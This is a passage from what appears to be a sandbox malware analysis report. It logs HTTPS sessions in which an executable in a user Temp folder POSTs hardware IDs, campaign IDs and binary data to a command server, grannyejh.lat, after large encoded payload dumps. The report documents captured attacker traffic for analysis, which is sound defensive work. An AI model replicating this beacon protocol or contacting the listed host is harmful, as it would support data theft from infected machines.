                                                                                                                                                                                                                                                            Data Ascii: PfckBWA8Ykt9Z1NtUwVqX9zwn1ftgvXIm7/y0tha0oRMRsWlQdymOgkWt51TQQ8r6HS7t8w2ADyJv9IS6SqDEA0S1MGxTMJPDYanjTMRbvtcwO/mnQKVaFu+AoIoWlJ0rEbF9fHs1iqJgsOJI7Dr3lhyb+a9wsTcqBrT1jn+UnTI47FVMWw2ejl29+2S4W77vKAOl93i5Ri6nnLCuFrCtJy2RRG12AY7DYNDbzMR3xt9AFu2SVORuPt616bYKkJ
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 53 51 31 4f 59 4a 49 4b 62 65 48 58 59 66 69 50 2b 73 38 6b 43 37 54 76 45 62 6b 4c 49 76 4f 46 69 64 63 61 6f 49 55 6a 49 63 56 70 57 45 4d 35 71 70 35 31 6a 66 74 49 38 47 2f 69 35 7a 41 37 34 64 74 38 79 55 59 69 7a 36 43 4d 6e 6a 4f 56 75 41 4d 6c 37 46 51 4e 54 38 58 4f 6a 32 6c 6c 31 33 44 49 52 36 2f 33 59 53 2b 49 37 33 43 77 62 30 50 76 67 4b 69 69 44 71 69 46 4b 77 47 5a 66 56 78 76 4f 5a 37 71 58 61 48 62 65 4e 42 7a 77 73 38 4d 4e 38 6e 44 51 4a 6c 75 4a 73 61 31 73 62 59 47 39 59 42 69 4f 56 31 4a 58 48 73 38 6d 6e 5a 74 69 65 4e 55 71 56 75 4c 7a 33 6b 58 38 64 35 74 34 47 34 53 79 37 53 6b 6e 67 71 55 6e 54 63 74 67 55 6c 67 65 78 32 36 6d 6e 32 68 36 32 7a 45 51 2f 62 72 44 41 4f 6c 2b 30 69 78 58 79 50 57 74 4a 54 58 47 2f 57 42 76 79 58
                                                                                                                                                                                                                                                            Data Ascii: SQ1OYJIKbeHXYfiP+s8kC7TvEbkLIvOFidcaoIUjIcVpWEM5qp51jftI8G/i5zA74dt8yUYiz6CMnjOVuAMl7FQNT8XOj2ll13DIR6/3YS+I73Cwb0PvgKiiDqiFKwGZfVxvOZ7qXaHbeNBzws8MN8nDQJluJsa1sbYG9YBiOV1JXHs8mnZtieNUqVuLz3kX8d5t4G4Sy7SkngqUnTctgUlgex26mn2h62zEQ/brDAOl+0ixXyPWtJTXG/WBvyX
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 79 57 32 36 6c 6d 4a 2f 33 7a 6f 65 2b 72 50 4b 44 76 31 77 33 43 64 64 68 62 50 67 4a 79 36 48 6f 53 70 53 7a 57 68 66 56 68 6d 41 4b 75 69 66 64 44 61 4b 66 44 48 78 6c 4e 63 65 36 57 32 62 50 78 57 52 2b 2b 6f 75 62 64 37 6c 49 30 2f 48 62 46 31 54 48 4d 39 67 70 70 35 71 65 39 63 7a 48 4f 2b 31 79 51 6a 77 64 4e 41 79 57 34 57 2f 34 53 59 6c 6a 61 39 67 44 6f 35 6b 54 52 74 4c 67 46 47 6c 6c 32 78 31 78 48 77 4a 73 36 53 48 41 76 63 37 67 32 42 58 68 72 76 69 4c 69 47 4e 72 53 46 4d 77 47 52 51 55 68 76 49 64 71 6d 63 5a 48 66 63 4d 78 66 35 75 4d 49 42 2f 48 2f 64 4c 78 76 47 2b 2b 6f 36 62 64 37 6c 44 32 66 37 49 58 52 68 55 39 38 71 73 64 68 72 65 70 4a 6b 56 76 47 2b 79 77 33 30 66 64 49 73 55 59 47 77 34 53 6b 70 69 71 77 6c 52 73 39 6d 55 46 6f
                                                                                                                                                                                                                                                            Data Ascii: yW26lmJ/3zoe+rPKDv1w3CddhbPgJy6HoSpSzWhfVhmAKuifdDaKfDHxlNce6W2bPxWR++oubd7lI0/HbF1THM9gpp5qe9czHO+1yQjwdNAyW4W/4SYlja9gDo5kTRtLgFGll2x1xHwJs6SHAvc7g2BXhrviLiGNrSFMwGRQUhvIdqmcZHfcMxf5uMIB/H/dLxvG++o6bd7lD2f7IXRhU98qsdhrepJkVvG+yw30fdIsUYGw4SkpiqwlRs9mUFo
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 70 5a 68 65 64 6f 30 48 2f 79 35 77 67 6a 39 64 39 45 68 58 49 61 31 35 57 4a 6a 78 71 49 34 41 4a 59 6a 64 45 73 49 30 6e 4b 6c 75 57 46 35 6b 69 4e 59 35 50 33 41 43 62 73 6a 6d 79 6c 4a 6a 4c 62 2f 4b 79 71 49 71 69 4e 53 7a 32 35 65 53 52 54 50 59 4b 2b 55 61 6e 6e 55 50 52 50 33 73 63 41 41 38 48 54 58 59 42 58 49 76 50 56 69 64 63 61 4c 4b 31 50 5a 59 46 74 51 42 64 73 6b 74 39 5a 31 4e 74 55 77 56 71 58 39 78 41 37 77 66 39 73 73 57 34 79 32 37 54 41 69 67 61 49 70 53 39 78 70 55 6c 77 59 79 47 2b 6e 6e 6e 35 36 33 43 34 54 37 36 2b 48 53 37 74 38 77 32 41 44 79 49 33 71 4d 6a 32 46 35 78 46 57 7a 58 56 65 56 68 2b 41 65 2b 61 42 4c 48 48 65 66 45 36 39 75 38 67 4d 2b 48 54 61 4b 56 65 46 76 75 51 6e 4c 49 43 68 4b 6b 72 4f 5a 56 4e 61 46 73 70 6e
                                                                                                                                                                                                                                                            Data Ascii: pZhedo0H/y5wgj9d9EhXIa15WJjxqI4AJYjdEsI0nKluWF5kiNY5P3ACbsjmylJjLb/KyqIqiNSz25eSRTPYK+UannUPRP3scAA8HTXYBXIvPVidcaLK1PZYFtQBdskt9Z1NtUwVqX9xA7wf9ssW4y27TAigaIpS9xpUlwYyG+nnn563C4T76+HS7t8w2ADyI3qMj2F5xFWzXVeVh+Ae+aBLHHefE69u8gM+HTaKVeFvuQnLIChKkrOZVNaFspn
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 61 4b 66 42 58 36 76 73 59 50 38 6e 66 55 4a 31 2b 61 73 65 6f 77 4c 49 65 75 4c 55 7a 4f 62 6c 68 52 45 73 6c 70 70 4a 56 72 63 64 30 35 56 72 50 39 77 42 32 37 49 35 73 42 56 6f 4f 33 74 6e 68 74 6d 65 73 35 41 4d 6c 76 46 51 4e 54 77 47 36 74 6b 6d 46 31 33 54 38 45 2f 4c 76 56 42 66 5a 78 79 53 70 51 6a 62 62 67 4c 79 36 41 6f 79 74 4d 33 47 70 56 57 42 69 41 4b 75 69 66 64 44 61 4b 66 44 58 71 71 38 30 43 39 32 33 51 49 56 69 65 74 76 31 69 59 38 61 30 4a 31 47 4f 4f 30 4e 4c 42 4d 64 37 35 6f 45 73 63 64 35 38 54 72 32 37 7a 67 50 38 66 64 55 79 58 6f 36 30 34 69 73 6b 67 71 30 6a 51 4d 70 6e 55 6c 34 51 7a 47 2b 76 6d 32 4e 79 32 7a 49 66 38 76 32 4a 52 66 78 6a 6d 33 67 62 71 61 44 75 4c 69 44 47 75 6d 35 5a 6a 6d 52 5a 47 30 75 41 61 4b 61 64 62
                                                                                                                                                                                                                                                            Data Ascii: aKfBX6vsYP8nfUJ1+aseowLIeuLUzOblhREslppJVrcd05VrP9wB27I5sBVoO3tnhtmes5AMlvFQNTwG6tkmF13T8E/LvVBfZxySpQjbbgLy6AoytM3GpVWBiAKuifdDaKfDXqq80C923QIVietv1iY8a0J1GOO0NLBMd75oEscd58Tr27zgP8fdUyXo604iskgq0jQMpnUl4QzG+vm2Ny2zIf8v2JRfxjm3gbqaDuLiDGum5ZjmRZG0uAaKadb
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 52 36 2f 2f 79 42 76 56 31 33 44 59 62 6c 34 53 6a 59 69 4b 63 35 58 68 35 31 79 4e 53 56 31 4f 59 4a 4c 32 66 62 48 48 49 4b 68 48 78 72 4d 77 49 39 31 6e 55 4a 30 32 4c 74 4f 34 7a 4a 4d 71 75 4c 51 43 41 49 31 4a 44 55 35 67 6b 68 35 39 36 64 66 30 2f 42 2f 54 39 69 55 58 38 62 5a 74 34 47 37 62 37 2f 79 45 39 68 61 6f 78 66 6f 34 37 54 47 56 54 79 33 4b 76 69 47 39 67 32 54 45 61 37 49 4f 48 58 61 38 70 69 58 49 4a 32 71 53 74 50 52 4c 49 35 53 45 41 6c 6c 70 4d 47 77 57 41 50 50 72 57 4c 47 53 53 5a 46 61 36 76 74 55 58 2f 58 6a 4e 49 78 79 32 68 63 6f 30 4a 34 47 31 4a 31 66 42 49 78 73 62 48 49 41 38 6b 64 68 6c 63 63 6b 74 41 50 43 74 77 45 58 45 4e 5a 73 34 47 39 44 37 32 43 45 6a 69 4b 49 32 55 59 4e 45 51 31 45 55 30 47 4f 2f 6c 79 77 34 6b 6a
                                                                                                                                                                                                                                                            Data Ascii: R6//yBvV13DYbl4SjYiKc5Xh51yNSV1OYJL2fbHHIKhHxrMwI91nUJ02LtO4zJMquLQCAI1JDU5gkh596df0/B/T9iUX8bZt4G7b7/yE9haoxfo47TGVTy3KviG9g2TEa7IOHXa8piXIJ2qStPRLI5SEAllpMGwWAPPrWLGSSZFa6vtUX/XjNIxy2hco0J4G1J1fBIxsbHIA8kdhlccktAPCtwEXENZs4G9D72CEjiKI2UYNEQ1EU0GO/lyw4kj
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 31 78 50 67 4e 39 4d 6a 51 5a 4b 46 30 77 6b 68 67 4b 49 36 52 38 68 46 64 52 74 64 67 47 76 6f 77 46 55 32 6d 6e 77 70 73 2f 33 66 52 61 4d 37 37 69 4e 56 68 72 7a 37 4d 32 43 75 68 68 70 36 6a 45 39 53 54 6c 48 30 59 37 69 4a 5a 33 76 65 66 46 69 39 75 34 64 64 71 7a 57 62 4a 45 72 49 34 37 31 77 64 74 50 32 64 78 43 63 66 42 74 43 55 39 59 6b 38 4d 6f 69 4e 73 42 38 54 72 33 36 78 42 66 70 66 64 67 32 57 4d 2b 46 30 77 55 6a 67 61 51 32 55 4e 6c 73 61 32 55 47 77 32 71 6d 6e 33 70 6e 6b 6e 4a 57 38 76 32 66 50 4c 73 7a 6d 78 38 56 79 4b 4f 74 65 6d 32 7a 70 69 35 4f 79 58 56 45 46 6a 54 4f 59 36 6d 4f 66 47 48 64 66 46 69 39 75 34 64 64 71 54 57 62 4a 45 72 49 34 37 31 77 64 74 50 32 64 78 43 63 66 42 74 43 55 39 59 6b 38 4d 6f 69 4e 73 42 38 54 72 33
                                                                                                                                                                                                                                                            Data Ascii: 1xPgN9MjQZKF0wkhgKI6R8hFdRtdgGvowFU2mnwps/3fRaM77iNVhrz7M2Cuhhp6jE9STlH0Y7iJZ3vefFi9u4ddqzWbJErI471wdtP2dxCcfBtCU9Yk8MoiNsB8Tr36xBfpfdg2WM+F0wUjgaQ2UNlsa2UGw2qmn3pnknJW8v2fPLszmx8VyKOtem2zpi5OyXVEFjTOY6mOfGHdfFi9u4ddqTWbJErI471wdtP2dxCcfBtCU9Yk8MoiNsB8Tr3
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 7a 57 62 4c 42 76 51 2b 2b 77 6f 50 59 75 71 4a 77 7a 4a 65 56 49 62 58 59 42 71 36 4d 41 73 64 39 67 73 47 2f 4b 36 69 77 50 31 64 5a 73 2f 46 5a 48 37 2b 32 4a 31 31 65 74 67 55 6f 34 37 46 52 77 51 30 6e 61 75 6d 33 70 31 6c 51 49 6f 30 4b 2f 41 46 66 67 35 36 69 31 66 6e 71 37 75 4d 69 71 34 6d 77 31 53 79 58 4e 57 47 53 4c 57 5a 36 69 57 61 7a 61 63 66 41 36 39 35 59 63 6f 36 58 7a 4c 49 78 76 47 2b 2b 46 69 64 63 61 6f 4d 6b 66 65 59 42 6c 63 43 63 63 6b 74 39 5a 31 4e 73 52 38 54 71 37 7a 68 78 65 37 49 35 74 6e 56 59 57 36 37 69 77 75 6c 4c 63 6d 51 39 68 67 45 6d 55 74 37 58 61 76 69 47 38 30 34 7a 45 53 36 36 6a 45 46 66 78 46 35 51 31 4a 6a 36 76 75 59 41 47 42 71 43 78 2b 38 46 52 45 58 41 4f 43 51 71 75 4f 62 7a 61 63 66 41 36 39 35 59 63 6f
                                                                                                                                                                                                                                                            Data Ascii: zWbLBvQ++woPYuqJwzJeVIbXYBq6MAsd9gsG/K6iwP1dZs/FZH7+2J11etgUo47FRwQ0naum3p1lQIo0K/AFfg56i1fnq7uMiq4mw1SyXNWGSLWZ6iWazacfA695Yco6XzLIxvG++FidcaoMkfeYBlcCcckt9Z1NsR8Tq7zhxe7I5tnVYW67iwulLcmQ9hgEmUt7XaviG804zES66jEFfxF5Q1Jj6vuYAGBqCx+8FREXAOCQquObzacfA695Yco


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            11192.168.2.549929172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:56 UTC280OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=60JGWQ42X8RG7D7EP9E
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 12841
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:09:56 UTC12841OUTData Raw: 2d 2d 36 30 4a 47 57 51 34 32 58 38 52 47 37 44 37 45 50 39 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 30 4a 47 57 51 34 32 58 38 52 47 37 44 37 45 50 39 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 30 4a 47 57 51 34 32 58 38 52 47 37 44 37 45 50 39 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61
                                                                                                                                                                                                                                                            Data Ascii: --60JGWQ42X8RG7D7EP9EContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--60JGWQ42X8RG7D7EP9EContent-Disposition: form-data; name="pid"2--60JGWQ42X8RG7D7EP9EContent-Disposition: form-data; name="lid"PsFKDg--pa
                                                                                                                                                                                                                                                            2024-12-19 00:09:57 UTC1121INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:57 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=n02553da12jia2fvrkunjlvqdl; expires=Sun, 13 Apr 2025 17:56:36 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IQUVrXPSEN1MyflFemWGVbgn4wFR9Q5BiJT8HX1O6n%2F%2BBlr3guEOprycORMm1rLvb0exWB8XXobP8RoceD7bS2KZUlvR%2FGipxW6lj612cTPIRHYrJOaFzHtW8WGjIs7O"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432ab1ad7132e4-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1797&rtt_var=681&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13779&delivery_rate=1600000&cwnd=162&unsent_bytes=0&cid=ea9f4a1572c6339a&ts=915&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:57 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:09:57 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            12192.168.2.549937172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:59 UTC276OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=OCPV4N5S6EQ69KC
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 15059
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:09:59 UTC15059OUTData Raw: 2d 2d 4f 43 50 56 34 4e 35 53 36 45 51 36 39 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 43 50 56 34 4e 35 53 36 45 51 36 39 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 43 50 56 34 4e 35 53 36 45 51 36 39 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4f 43 50 56 34
                                                                                                                                                                                                                                                            Data Ascii: --OCPV4N5S6EQ69KCContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--OCPV4N5S6EQ69KCContent-Disposition: form-data; name="pid"2--OCPV4N5S6EQ69KCContent-Disposition: form-data; name="lid"PsFKDg--pablo--OCPV4
                                                                                                                                                                                                                                                            2024-12-19 00:09:59 UTC1116INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:59 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=m9ec656svjmo1m09p1abkf7mg1; expires=Sun, 13 Apr 2025 17:56:38 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cdLCrHkfKWiOFL7APiTvamGh9XWBD7lZL1EWnbKAgUZ8inr2EkUmWcroTxmEXjntQV0CTSDy%2BZbcaigYpcg1STZowWlbOvb2cB3GotxhsnYAvXf8LHiVij6BXx7I4D90"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432ac169e9426a-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1552&rtt_var=599&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15993&delivery_rate=1801357&cwnd=225&unsent_bytes=0&cid=7f8fc896fc6dbe87&ts=859&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:59 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:09:59 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            13192.168.2.549946172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:02 UTC275OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=9DHHCMJONVIQMT
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 20543
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:02 UTC15331OUTData Raw: 2d 2d 39 44 48 48 43 4d 4a 4f 4e 56 49 51 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 44 48 48 43 4d 4a 4f 4e 56 49 51 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 44 48 48 43 4d 4a 4f 4e 56 49 51 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 44 48 48 43 4d 4a 4f
                                                                                                                                                                                                                                                            Data Ascii: --9DHHCMJONVIQMTContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--9DHHCMJONVIQMTContent-Disposition: form-data; name="pid"3--9DHHCMJONVIQMTContent-Disposition: form-data; name="lid"PsFKDg--pablo--9DHHCMJO
                                                                                                                                                                                                                                                            2024-12-19 00:10:02 UTC5212OUTData Raw: 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: F3Wun 4F([:7s~X`nO`i
                                                                                                                                                                                                                                                            2024-12-19 00:10:03 UTC1122INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:02 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=tqja5n5ke55cgnptk9793r74or; expires=Sun, 13 Apr 2025 17:56:41 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PrNuG6CxK7zkrTnZywXDuZAwNrvAAclwSo2nlGA1FqjVaAQ69TBqwMRcjsIcMtLJyx03bwrvD6nD8TC2oyY%2FeEoVCsiFI7%2BR%2BgnaajucB3nibEeCZHndEe9umupqCDWT"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432ad3b9868cb4-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1824&min_rtt=1816&rtt_var=698&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21498&delivery_rate=1549071&cwnd=189&unsent_bytes=0&cid=ef1e16a68dc1d81b&ts=1045&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:03 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:03 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            14192.168.2.549955172.67.179.1094431256C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:04 UTC260OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 8
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:04 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                            Data Ascii: act=life
                                                                                                                                                                                                                                                            2024-12-19 00:10:05 UTC1121INHTTP/1.1 200 OK
